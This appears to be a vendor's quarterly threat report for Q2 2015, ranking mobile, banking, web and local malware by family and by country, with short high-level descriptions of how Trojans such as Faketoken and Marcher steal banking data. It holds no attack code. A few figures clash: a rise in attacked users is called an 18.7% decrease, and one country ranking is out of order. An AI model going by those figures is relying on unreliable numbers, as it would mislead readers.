Please note that, starting from this quarterly report, we are publishing the ranking of malicious programs, which does not include potentially dangerous or unwanted programs such as RiskTool or adware.Name % of attacks * 1 DangerousObject.Multi.Generic 17.5% 2 Trojan-SMS.AndroidOS.Podec.a 9.7% 3 Trojan-SMS.AndroidOS.Opfake.a 8.0% 4 Backdoor.AndroidOS.Obad.f 7.3% 5 Trojan-Downloader.AndroidOS.Leech.a 7.2% 6 Exploit.AndroidOS.Lotoor.be 5.7% 7 Trojan-Spy.AndroidOS.Agent.el 5.5% 8 Trojan.AndroidOS.Ztorg.a 3.1% 9 Trojan.AndroidOS.Rootnik.a 3.0% 10 Trojan-Dropper.AndroidOS.Gorpo.a 2.9% 11 Trojan.AndroidOS.Fadeb.a 2.7% 12 Trojan-SMS.AndroidOS.Gudex.e 2.5% 13 Trojan-SMS.AndroidOS.Stealer.a 2.5% 14 Exploit.AndroidOS.Lotoor.a 2.1% 15 Trojan-SMS.AndroidOS.Opfake.bo 1.6% 16 Trojan.AndroidOS.Ztorg.b 1.6% 17 Trojan.AndroidOS.Mobtes.b 1.6% 18 Trojan-SMS.AndroidOS.FakeInst.fz 1.6% 19 Trojan.AndroidOS.Ztorg.pac 1.5% 20 Trojan-SMS.AndroidOS.FakeInst.hb 1.4%
* Percentage of users attacked by the malware in question, relative to all users attacked
The top position in the rankings was occupied by DangerousObject.Multi.Generic (17.5%). This is how new malicious applications are detected by the KSN cloud technologies, which help our products to significantly shorten the response time to new and unknown threats.
Trojan-SMS.AndroidOS.Podec.a (9.7%) has been among the Top Three malicious mobile programs for three quarters in a row due to its active dissemination.
Trojan-SMS.AndroidOS.Opfake.a (8.0%) has been quickly rising to the top lines of the ranking. While in Q3 2014 it was in the 11th place only,it is now in the TOP 3 of mobile malware. Obfake.bo, another representative of this malware family, is in 15th place.
It is also worth mentioning the appearance of Backdoor.AndroidOS.Obad in the TOP 20 ranking – in fact, it jumped to fourth place all at once. This is a multi-functional Trojan, capable of sending SMS to premium-rate numbers; downloading other malware programs, installing them on the infected device and/or sending them further via Bluetooth; and remotely performing commands in the console. We wrote about it two years ago, and its capabilities have remained virtually unchanged ever since.
Another interesting thing is that although this ranking does not include adware programs, six of the TOP 20 malicious mobile programs use advertisements as the main vehicle of monetization. Unlike regular advertisement modules, Trojan.AndroidOS.Rootnik.a, three programs of the Trojan.AndroidOS.Ztorg family, Trojan-Downloader.AndroidOS.Leech.a and Trojan.AndroidOS.Fadeb.a do not carry any productive payload with them. Their goal is to deliver to the user as much advertising as possible in various ways, including installation of new adware programs. These Trojans can use root privileges to conceal themselves in the system folder – this makes it very difficult to delete them.Mobile banker Trojans
In Q2 2015, we detected 630 mobile banker Trojans. It should be noted that the number of new malware programs belonging to this category is now growing at a much slower rate.
Number of mobile banker Trojans detected by Kaspersky Lab’s solutions (Q3 2014 – Q2 2015)
Geography of mobile banking threats in Q2 2015
(number of users attacked)
The number of attacked users depends on the overall number of users within each individual country. To assess the risk of a mobile banker Trojan infection in each country, and to compare it across countries, we made a country ranking according to the percentage of users attacked by mobile banker Trojans.
Top 10 counties attacked by mobile banker Trojans (ranked by percentage of users attacked):Country* % of users attacked by mobile bankers** 1 Republic of Korea 2.37% 2 Russia 0.87% 3 Uzbekistan 0.36% 4 Belarus 0.30% 5 Ukraine 0.29% 6 China 0.25% 7 Kazakhstan 0.17% 8 Australia 0.14% 9 Sweden 0.13% 10 Austria 0.12%
* We eliminated countries from this ranking where the number of users of Kaspersky Lab’s mobile security product is lower than 10,000
** Percentage of unique users in each country attacked by mobile banker Trojans, relative to all users of Kaspersky Lab’s mobile security product in the country
Mobile bankers proliferate most actively in Korea. Cybercriminals are also historically active in Russia and other post-Soviet countries. It is some of these countries that occupy four out of five positions in the ranking.
An indication of how popular mobile banker Trojans are with cybercriminals in each country, may be provided by the percentage of users who were attacked at least once by mobile banker Trojans during the reported three month period, relative to all users in the same country whose mobile security product was activated at least once in the reporting period. This ranking is different from the one above:
TOP 10 countries by the percentage of users attacked by mobile bankers relative to all attacked usersCountry * % of users attacked by mobile bankers, relative to all attacked users * 1 Republic of Korea 31.72% 2 Russia 10.35% 3 Australia 6.62% 4 Austria 6.03% 5 Japan 4.73% 6 Uzbekistan 4.17% 7 Belarus 3.72% 8 Ecuador 3.50% 9 Ukraine 3.46% 10 Switzerland 3.09%
* We eliminated countries from this ranking where the number of users of Kaspersky Lab’s mobile security product is lower than 10,000
** Percentage of unique users in each country attacked by mobile banker Trojans, relative to all unique users attacked by mobile malware in the country
In Korea, almost one third of all users attacked by mobile malware were attacked by mobile bankers in particular. In Russia, every tenth attacked user came under a mobile banker attack. In other countries, this percentage is lower. Interestingly, there are four countries in this TOP 10 which are also in the TOP 5 of most secure counties with the lowest probability of mobile malware infection – these are Australia, Austria, Japan and Switzerland.The geography of mobile threats
The geography of mobile malware infection attempts in Q2 2015
(percentage of all users attacked)
Top 10 countries attacked by mobile malware:Country* % of users attacked** 1 China 16.34% 2 Malaysia 12.65% 3 Nigeria 11.48% 4 Bangladesh 10.89% 5 Tanzania 9.66% 6 Algeria 9.33% 7 Uzbekistan 8.56% 8 Russia 8.51% 9 Ukraine 8.39% 10 Belarus 8.05%
* We eliminated countries from this ranking where the number of users of Kaspersky Lab’s mobile security product is lower than 10,000
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country
This ranking is led by China, where 16.34% of all users of Kaspersky Lab’s product were attacked at least once during the three month period. Malaysia is in second place with 12.65%. Russia (8.51%), Ukraine (8.39%) and Belarus (8.05%) close the TOP 10 ranking, below some Asian and African countries.
Korea took 11th place in this ranking with 7.46%. Let us remind the reader that mobile banker Trojans are very popular with the Korean cybercriminals: 31.72% of all users attacked by mobile malware were the victim of a mobile banking Trojan attack.
The most secure countries in this respect are:Country % of users attacked 1 Japan 1.06% 2 Canada 1.82% 3 Austria 1.96% 4 Australia 2.16% 5 Switzerland 2.19% Vulnerable applications used by fraudsters
The ranking of vulnerable applications below is based on information about the exploits blocked by our products. These exploits were used by cybercriminals in Internet attacks and in attempts to compromise local applications, including those installed on mobile devices.
Distribution of exploits used in attacks by type of application attacked, Q2 2015
The rating of exploits has seen little change from the first quarter. The Browsers category (60%) maintained its top position in the Q2 2015. Currently most exploit packs contain a pack of exploits for Adobe Flash Player and Internet Explorer. It is worth mentioning the growing number of exploits for Adobe Flash Player (up by six percentage points) which is caused by the large number of spam mass mailings containing malicious PDF documents.
The number of exploits for Java continues to decrease (down four percentage points): in Q2 we did not see any new exploits for Java.
In the second quarter of 2015 we registered the use of four new vulnerabilities in Adobe Flash Player:
Although the share of exploits for Adobe Flash Player in our rating is only 3%, there are many more of them in the “wild”. When considering these statistics, we should take into account that Kaspersky Lab technologies detect exploits at various stages. The Browsers category also includes detection of landing pages that “distribute” exploits. According to our observations, they are most often exploits for Adobe Flash PlayerOnline threats (Web-based attacks)
The statistics in this section were derived from web antivirus components that protect users from attempts to download malicious objects from a malicious/infected website. Malicious websites are created deliberately by malicious users; infected sites include those with user-contributed content (such as forums), as well as compromised legitimate resources.Online threats in the banking sector
In the second quarter of 2015, Kaspersky Lab solutions blocked attempts to launch malware capable of stealing money via online banking on the computers of 755,642 users. This figure represents an 18.7% decrease compared to the previous quarter (735,428).
There were 5,903,377 registered notifications about attempted financial malware infections #KLReportTweet
A total of 5,903,377 notifications of malicious activity by programs designed to steal money via online access to bank accounts were registered by Kaspersky Lab security solutions in Q2 2015.
Number of computers attacked by financial malware, Q2 2015Geography of attacks
In the second quarter of 2015, we changed the methodology used to create the rating of countries affected by the malicious activity of banking Trojans. In our previous reports, the Top 10 was made using the number of users attacked. Although this aspect is very important, it depends on the number Kaspersky Lab product users in the countries.
To evaluate and compare the degree of risk of being infected by banking Trojans which user computers are exposed to worldwide, we calculate the percentage of Kaspersky Lab product users who encountered this threat during the reporting period in the country, of all users of our products in this county.
Geography of banking malware attacks in Q2 2015 (the percentage of users attacked)
Top 10 countries by the percentage of users attackedCountry* % of users attacked ** 1 Singapore 5.28% 2 Switzerland 4.16% 3 Brazil 4.07% 4 Australia 3.95% 5 Hong Kong 3.66% 6 Turkey 3.64% 7 New Zealand 3.28% 8 South Africa 3.13% 9 Lebanon 3.10% 10 UAE 3.04%
* We excluded those countries in which the number of Kaspersky Lab product users is relatively small (less than 10,000)
** Unique users whose computers have been targeted by web attacks as a percentage of all unique users of Kaspersky Lab products in the country
In Q2 2015, Singapore took the lead in the percentage of Kaspersky Lab users attacked by banking Trojans. Noticeably, most countries in the TOP 10 have a high level of technological and banking system development, which draws the attention of cybercriminals.
In Russia, 0.75% users encountered banking Trojans at least once during the quarter, in the US – 0.89%, in Spain – 2.02%, in the UK – 1.58%, in Italy – 1.57% , in Germany – 1.16%.The TOP 10 banking malware families
The table below shows the Top 10 malicious programs most commonly used in Q2 of 2015 to attack online banking users, based on the number of users attacked:Name Number of notifications Number of users attacked 1 Trojan-Downloader.Win32.Upatre 3888061 419940 2 Trojan-Spy.Win32.Zbot 889737 177665 3 Trojan-Banker.Win32.ChePro 264534 68467 4 Backdoor.Win32.Caphaw 72128 25923 5 Trojan-Banker.Win32.Banbra 56755 24964 6 Trojan.Win32.Tinba 175729 22942 7 Trojan-Banker.AndroidOS.Marcher 60819 19782 8 Trojan-Banker.AndroidOS.Faketoken 43848 13446 9 Trojan-Banker.Win32.Banker 23225 9209 10 Trojan-Banker.Win32.Agent 28658 8713
The majority of the Top 10 malicious programs work by injecting random HTML code in the web page displayed by the browser and intercepting any payment data entered by the user in the original or inserted web forms.
The Top 3 banking malicious programs remain unchanged from the previous quarter. Trojan-Downloader.Win32.Upatre kept its leading position in the rating. Malicious programs in this family are relatively simple and no larger than 3.5 KB. They usually download a Trojan-Banker belonging to a family known as Dyre/Dyzap/Dyreza. The list of financial institutions attacked by the banker Trojan depends on the configuration file that is downloaded from the Command-and-Control center.
In Q2 2015, the new banking Trojans entered the rating – Backdoor.Win32.Caphaw, Trojan-Banker.AndroidOS.Marcher and Trojan-Banker.AndroidOS.Faketoken.
Backdoor.Win32.Caphaw was first detected in 2011. It utilizes the Man-in-the-Browser technique to steal online banking credentials of the customers.
Trojan-Banker.AndroidOS.Faketoken and Trojan-Banker.AndroidOS.Marcher attack Android-based mobile devices. Faketoken works in partnership with computer Trojans. To distribute this malware, cybercriminals use social engineering techniques. When a user visits his online banking account, the Trojan modifies the page, asking him to download an Android application which is allegedly required to securely confirm the transaction. In fact the link leads to the Faketoken application.
Once Faketoken is on the user’s smartphone, the cybercriminals gain access to the user’s banking account via the computer infected with a banking Trojan and the compromised mobile device allows them to intercept the one-time confirmation code (mTAN). The second mobile Trojan is Trojan-Banker.AndroidOS.Marcher. After infecting a device, the malware tracks the launch of just two apps – the mobile banking customer of one of the European banks and Google Play. If the user starts Google Play, Marcher displays a false window requesting credit card data which then go to the fraudsters. The same method is used by the Trojan if the user starts the banking application.Financial threats
Financial threats are not limited to banker malware that attacks online banking customers.
Financial malware: distribution by malware type
In Q2 2015, the proportion of banking malware increased from 71% to 83% compared with the previous quarter. The second most widespread financial threat was Bitcoin miners – malicious software that uses computing resources of the victim’s computer to generate bitcoins. In the previous quarter, this category of malware was in third place. Of note is the fact that some legitimate software developers secretly integrate Bitcoin-miners in their applications.Top 20 malicious objects detected online
In the second quarter of 2015, Kaspersky Lab’s web antivirus detected 26,084,253 unique malicious objects: scripts, exploits, executable files, etc.
Kaspersky Lab detected and repelled a total of 379,972,834 malicious attacks from online resources #KLReportTweet
We identified the 20 most active malicious objects involved in online attacks against users’ computers. These 20 accounted for 96.5% of all attacks on the Internet.
Top 20 malicious objects detected onlineName* % of all attacks** 1 AdWare.JS.Agent.bg 47.66% 2 Malicious URL 32.11% 3 Trojan.Script.Generic 4.34% 4 AdWare.Script.Generic 4.12% 5 Trojan.Script.Iframer 3.99% 6 AdWare.JS.Agent.bt 0.74% 7 Exploit.Script.Blocker 0.56% 8 Trojan.Win32.Generic 0.49% 9 AdWare.AndroidOS.Xynyin.a 0.49% 10 Trojan-Downloader.Win32.Generic 0.37% 11 Trojan-Ransom.JS.Blocker.a 0.34% 12 Trojan-Clicker.JS.Agent.pq 0.23% 13 AdWare.JS.Agent.an 0.20% 14 AdWare.JS.Agent.by 0.19% 15 Trojan.Win32.Invader 0.12% 16 Trojan-Downloader.Win32.Genome.qhcr 0.11% 17 AdWare.Win32.Amonetize.ague 0.11% 18 AdWare.Win32.MultiPlug.nnnn 0.10% 19 AdWare.NSIS.Agent.cv 0.09% 20 Trojan-Downloader.Script.Generic 0.09%
* These statistics represent the detection verdicts of the web antivirus module. Information was provided by users of Kaspersky Lab products who consented to share their local statistical data.
** The percentage of all web attacks recorded on the computers of unique users.
The Top 20 is largely made up of verdicts assigned to objects used in drive-by attacks, as well as adware programs.
Aggressive distribution of advertising programs affected the rating: 10 out of 20 positions were occupied by advert-related objects. In first place is the script AdWare.JS.Agent.bg which is implemented by inserting adware in arbitrary web pages. It could even push down Malicious URL, the verdict we use for the links from the black list which are ranked second in Q2 2015.
Of interest is the appearance of the AdWare.AndroidOS.Xynyin.a verdict – it’s unusual to see a verdict for Android malware in the rankings for malware on users’ computers. The program corresponding to this verdict is an advertising module for Android which is embedded in different applications (for example, in programs “accelerating” the work of the phone). One such application was popular in March and April of this year when it was actively downloaded by users. Since Google Play does not provide such applications these applications were downloaded from the Internet mostly via the victims’ computers.
The Trojan-Ransom.JS.Blocker.a verdict is a script which tries to block the browser using a periodic page update and displays the message asking the victim to pay a “fine” to the specified e-wallet for viewing inappropriate material. The script is mostly encountered on porn sites.Top 10 countries where online resources are seeded with malware
The following stats are based on the physical location of the online resources that were used in attacks and blocked by our antivirus components (web pages containing redirects to exploits, sites containing exploits and other malware, botnet command centers, etc.). Any unique host could be the source of one or more web attacks.
In order to determine the geographical source of web-based attacks, domain names are matched up against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.
In Q2 2015, Kaspersky Lab solutions blocked 379,972,834 attacks launched from web resources located in various countries around the world. 89% of notifications on blocked web attacks were triggered by attacks coming from web resources located in 10 countries.
Distribution of web attack sources by country, Q2 2015
Russia (51%) maintained its leadership: this country’s share increased by 11.27%. Switzerland left the Top 10. Singapore came eighth in the ranking with 1.56% of all web attacks.Countries where users faced the greatest risk of online infection
In order to assess the risk of online infection faced by users in different countries, we calculate the percentage of Kaspersky Lab users in each country who encounter detection verdicts on their machines during the quarter. The resulting data provide an indication of the aggressiveness of the environment in which computers work in different countries.Country* % unique users attacked** 1 Russia 38.98% 2 Kazakhstan 37.70% 3 Ukraine 35.75% 4 Syria 34.36% 5 Belarus 33.02% 6 Azerbaijan 32.16% 7 Thailand 31.56% 8 Georgia 31.44% 9 Moldova 31.09% 10 Vietnam 30.83% 11 Armenia 30.19% 12 Kyrgyzstan 29.32% 13 Croatia 29.16% 14 Algeria 28.85% 15 Qatar 28.47% 16 China 27.70% 17 Mongolia 27.27% 18 Makedonia 26.67% 19 Bosnia and Herzegovina 25.86% 20 Greece 25.78%
These statistics are based on the detection verdicts returned by the web antivirus module, received from users of Kaspersky Lab products who have consented to provide their statistical data.
* These calculations exclude countries where the number of Kaspersky Lab users is relatively small (fewer than 10,000 users).
** Unique users whose computers have been targeted by web attacks as a percentage of all unique users of Kaspersky Lab products in the country.
In Q2 2015, Russia, which was second in the first quarter, regained its top position in the ranking. Since the previous quarter, UAE, Latvia, Tajikistan, Tunisia and Bulgaria have left the Top 20. The newcomers to the rankings were Syria, which rocketed to fourth place (34.36%); Thailand, which was in seventh place (31.56%); Vietnam, in tenth place (30.83%); China (27.70%) and Macedonia (26.67%), which occupied 16th and 18th places respectively.
23.9% of computers connected to the Internet globally were subjected to at least 1 web attack in Q2 #KLReportTweet
The countries with the safest online surfing environments included Argentina (13.2%), the Netherlands (12.5%), Korea (12.4%), Sweden (11.8%), Paraguay (10.2%) and Denmark (10.1%).
On average, 23.9% of computers connected to the Internet globally were subjected to at least one web attack during the three months.Local threats
Local infection statistics for users computers are a very important indicator: they reflect threats that have penetrated computer systems using means other than the Internet, email, or network ports.
Data in this section is based on analyzing statistics produced by antivirus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media.
In Q2 2015, Kaspersky Lab’s file antivirus modules detected 110,731,713 unique malicious and potentially unwanted objects.Top 20 malicious objects detected on users computers Name* % unique users attacked** 1 DangerousObject.Multi.Generic 22.64% 2 Trojan.Win32.Generic 15.05% 3 Trojan.WinLNK.StartPage.gena 8.28% 4 AdWare.Script.Generic 7.41% 5 Adware.NSIS.ConvertAd.heur 5.57% 6 WebToolbar.Win32.Agent.azm 4.48% 7 WebToolbar.JS.Condonit.a 4.42% 8 Trojan-Downloader.Win32.Generic 3.65% 9 Downloader.Win32.MediaGet.elo 3.39% 10 Trojan.Win32.AutoRun.gen 3.29% 11 Downloader.Win32.Agent.bxib 3.26% 12 WebToolbar.JS.CroRi.b 3.09% 13 RiskTool.Win32.BackupMyPC.a 3.07% 14 Virus.Win32.Sality.gen 2.86% 15 Worm.VBS.Dinihou.r 2.84% 16 WebToolbar.Win32.MyWebSearch.si 2.83% 17 DangerousPattern.Multi.Generic 2.75% 18 AdWare.NSIS.Zaitu.heur 2.70% 19 AdWare.BAT.Clicker.af 2.67% 20 AdWare.Win32.MultiPlug.heur 2.54%
* These statistics are compiled from malware detection verdicts generated by the on-access and on-demand scanner modules on the computers of those users running Kaspersky Lab products who have consented to submit their statistical data.
** The proportion of individual users on whose computers the antivirus module detected these objects as a percentage of all individual users of Kaspersky Lab products on whose computers a file antivirus detection was triggered.
In line with the established practice, this ranking represents the verdicts assigned to adware programs or their components (such as AdWare.BAT.Clicker.af), and to worms distributed on removable drives.
The only virus in the rankings – Virus.Win32.Sality.gen – continues to lose ground. The proportion of user machines infected by this virus has been diminishing for a long time. In Q2 2015, Sality was in 14th place with 2.86%, a 0.32% decrease compared to the previous quarter.Countries where users faced the highest risk of local infection
For each of the countries, we calculated the percentage of Kaspersky Lab product users on whose computers the file antivirus was triggered during the quarter. These statistics reflect the level of personal computer infection in different countries.
Top 20 countries with the highest levels of computer infectionCountry* % unique users** 1 Bangladesh 60.53% 2 Vietnam 59.77% 3 Pakistan 58.79% 4 Mongolia 58.59% 5 Georgia 57.86% 6 Somali 57.22% 7 Nepal 55.90% 8 Afghanistan 55.62% 9 Algeria 55.44% 10 Armenia 55.39% 11 Russia 54.94% 12 Laos 54.77% 13 Iraq 54.64% 14 Kazakhstan 54.23% 15 Syria 53.00% 16 Tunisia 53.75% 17 Ethiopia 53.44% 18 Ruanda 53.17% 19 Ukraine 53.01% 20 Cambodia 52.88%
These statistics are based on the detection verdicts returned by on-access and on-demand antivirus modules, received from users of Kaspersky Lab products who have consented to provide their statistical data. The data include detections of malicious programs located on users’ computers or on removable media connected to the computers, such as flash drives, camera and phone memory cards, or external hard drives.
* These calculations exclude countries where the number of Kaspersky Lab users is relatively small (fewer than 10,000 users).
** The percentage of unique users in the country with computers that blocked local threats as a percentage of all unique users of Kaspersky Lab products.
In Q2 2015, Bangladesh (60.53%) took the lead as the country with the highest level of computer infection, pushing down Vietnam which has headed the rating for almost two years. Pakistan (58.79%) rocketed from 13th position in the previous quarter to 3rd place in Q2.
The newcomers in the rankings were Georgia (5th position with 57.8%), Russia (11th position with 55%), Tunisia (16th position with 53.7%) and Ukraine (19th position with 53%).
An average of 40% of computers globally faced at least 1 local threat during Q2 2015 #KLReportTweet
The safest countries in terms of local infection risks were Sweden (19.7%), Denmark (18.4%) and Japan (15.5%).
An average of 40% of computers globally faced at least one local threat during Q2 2015, which is 0.2% percentage points more than in Q1 2015.